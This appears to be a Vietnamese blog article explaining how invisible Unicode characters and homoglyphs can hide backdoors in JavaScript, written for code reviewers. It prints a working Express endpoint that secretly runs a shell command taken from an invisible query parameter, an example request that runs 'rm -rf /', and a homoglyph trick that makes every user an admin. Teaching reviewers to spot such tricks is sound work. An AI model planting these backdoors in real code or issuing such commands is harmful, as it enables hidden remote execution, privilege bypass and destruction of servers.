Backdoor trong ứng dụng viết bằng Javascript cực kì tinh vi thông qua hai hình thức "Invisible Character Attacks" và "Homoglyph Attacks"

  • 0

  • 0

  • 0

Backdoor trong ứng dụng viết bằng Javascript cực kì tinh vi thông qua hai hình thức "Invisible Character Attacks" và "Homoglyph Attacks"

Backdoor trong ứng dụng viết bằng Javascript

Vấn đề

Backdoor là phương pháp vượt qua khả năng xác thực thông thường hoặc nhằm mục đích tạo một "cửa hậu" nhằm truy nhập từ xa tới hệ thống phần mềm mà không cần xác thực thông tin theo cách thông thường. Chúng cố gắng để không bị phát hiện bởi việc giám sát thông thường như review code, logging… Hãy thử tưởng tượng, bạn phụ trách phát triển một hệ thống API nhưng lại khéo léo tạo một endpoint mà không một ai biết ngoài bạn, qua đó để đánh cắp thông tin người dùng trong hệ thống một cách dễ dàng.

Vì lẽ đó, backdoor sẽ tàn phá hoặc gây thiệt hại nghiêm trọng đến hệ thống bởi khả năng "tiềm ẩn" và rất khó bị phát hiện của nó. Đâu ai biết backdoor liệu có trong hệ thống của mình không, liệu nó có đánh cắp hay sửa đổi dữ liệu hay không. Nói tóm lại không dễ dàng để tạo ra backdoor mà không bị phát hiện nhưng một khi bị qua mặt thì thiệt hại là không thể tưởng tượng.

Với vai trò là người viết mã, bạn có thể vô tình hay cố ý tạo ra backdoor trong ứng dụng đang phát triển, với một vài thủ thuật "cực kì tinh vi" mà tôi sắp kể ra dưới đây. Dĩ nhiên, nếu bạn là người soát mã thì cũng nên biết để "lật mặt" những kẻ có hành vi vô cùng đáng trách này.

Invisible Character Attacks

Ký tự "ㅤ" (tương đương 0x3164 ở dạng hex) được gọi là "HANGUL FILLER". Nếu lướt qua, nó như một dấu cách hoặc khoảng trắng vô hại, vì thế còn gọi là ký tự "vô hình". Nhưng thực ra, ký tự này được coi là một chữ cái nên nó có thể đặt tên được cho một biến trong Javascript.

const ㅤ = "hello world";
console.log(ㅤ); // hello world

Lợi dụng tính chất này, nó có thể khéo léo sử dụng trong trường hợp giống như dưới đây.

const express = require("express");
const util = require("util");
const exec = util.promisify(require("child_process").exec);

const app = express();

app.get("/network_health", async (req, res) => {
  const { timeout, ㅤ } = req.query;
  const checkCommands = [
    "ping -c 1 google.com",
    "curl -s http://example.com/",ㅤ
  ];

  try {
    await Promise.all(
      checkCommands.map(
        (cmd) => cmd && exec(cmd, { timeout: +timeout || 5_000 })
      )
    );
    res.status(200);
    res.send("ok");
  } catch (e) {
    res.status(500);
    res.send("failed");
  }
});

app.listen(8080);

Thoạt nhìn, đây là một API có duy nhất một endpoint network_health. Khi gọi đến, nó thực hiện 2 lệnh pingcurl. Hãy dành một ít thời gian xem bạn có phát hiện ra được điều gì bất thường trong đoạn mã bên trên không?

Hãy nhìn vào dòng 8:

const { timeout, ㅤ } = req.query;

Chà có vẻ sau biến timeout là một cái gì đó. Đúng, nó là kí tự "HANGUL FILLER". Điều này đồng nghĩa với việc kẻ tấn công đang cố khai báo một biến là kí tự "HANGUL FILLER".

Nhìn tiếp vào dòng 11. Ở cuối dòng trông có vẻ đã kết thúc nhưng thực chất sau dấu phẩy là biến "HANGUL FILLER" đã khai báo. Như vậy nếu trong req.query có thuộc tính "HANGUL FILLER" thì command đó sẽ được thực thi.

Một truy vấn đến endpoint dính backdoor có thể trông như thế này:

GET - /network_health?%E3%85%A4%3Drm%20-rf%20%2F

Diễn dãi cho dễ nhìn thì nó tương đương:

GET - /network_health?ㅤ = rm -rf /

Có nghĩa là một câu lệnh rm -rf / được kích hoạt. Nó sẽ xóa toàn bộ máy chủ.

Homoglyph Attacks

Homoglyph Attacks là kiểu tấn công sử dụng các kí tự Unicode trông rất giống với các toán tử. Từ đó gây nhầm lẫn về một phép logic tưởng chừng bình thường nhưng thực tế là không phải.

const [ENV_PROD, ENV_DEV] = ["PRODUCTION", "DEVELOPMENT"];

const environment = "PRODUCTION";

function isUserAdmin(user) {
  if ((environmentǃ=ENV_PROD)) {
    return true;
  }

  return false;
}

Hàm isUserAdmin kiểm tra xem một user có phải là Admin hay không dựa vào biến môi trường environment. Nếu environment không phải là "PRODUCTION" thì mặc định tất cả đều là Admin.

Ý tưởng là thế nhưng hãy nhìn vào dòng số 6.

if ((environmentǃ=ENV_PROD)) {

Thực chất kí tự "ǃ" không phải là dấu "!" trong biểu thức logic, mà nó là một kí tự Unicode trông rất giống với dấu "chấm than". Vì lẽ đó, biểu thức trong lệnh if này không phải là một phép logic nữa mà là một phép gán environmentǃ = ENV_PROD. Do đó if luôn là true và tất cả người dùng dù trong môi trường nào đều là Admin.

Có nhiều ký tự khác trông giống với ký tự được sử dụng trong mã mà có thể được sử dụng tương tự như trường hợp trên. Ví dụ: "/", "−", "+", "⩵", "❨", "⫽", "꓿" , "∗"). Unicode gọi những ký tự này là "có thể gây nhầm lẫn".

Làm thế nào để ngăn chặn?

Việc sử dụng Unicode để tạo backdoor không phải là một ý tưởng mới. Tuy nhiên, những thủ thuật này khá gọn gàng, gây nhầm lẫn và thiếu sót. Đó là lý do tại sao bạn cần biết đến sự tồn tại của chúng để nâng cao cảnh giác.

Bạn nên ghi nhớ thủ thuật này khi thực hiện đánh giá mã (review code) từ những người đóng góp (contributor) không xác định hoặc không đáng tin cậy. Điều này đặc biệt phù hợp với các dự án mã nguồn mở vì chúng thường xuyên được đóng góp từ các nhà phát triển "hoàn toàn xa lạ".

Nếu có thể, hãy chỉ sử dụng kí tự trong bảng mã ASCII. Nhiều nhóm phát triển chọn tiếng Anh làm ngôn ngữ phát triển chính. Thiết lập công cụ cảnh báo mã không phù hợp với quy tắc để hạn chế các kiểu tấn công trên.

VSCode đã phát hành một tính năng trong bản cập nhật 1.63 làm nổi bật các ký tự vô hình và các ký tự khó hiểu: https://code.visualstudio.com/updates/v163#unicode-highlighting.

Unicode thì đang thành lập một nhóm để điều tra các vấn đề giả mạo mã nguồn: http://blog.unicode.org/2022/03/avoiding-source-code-spoofing.html.

Tham khảo:

Bạn thấy bài viết này có ích?
  • Không

  • Bình thường

Bình luận
DMCA.com Protection Status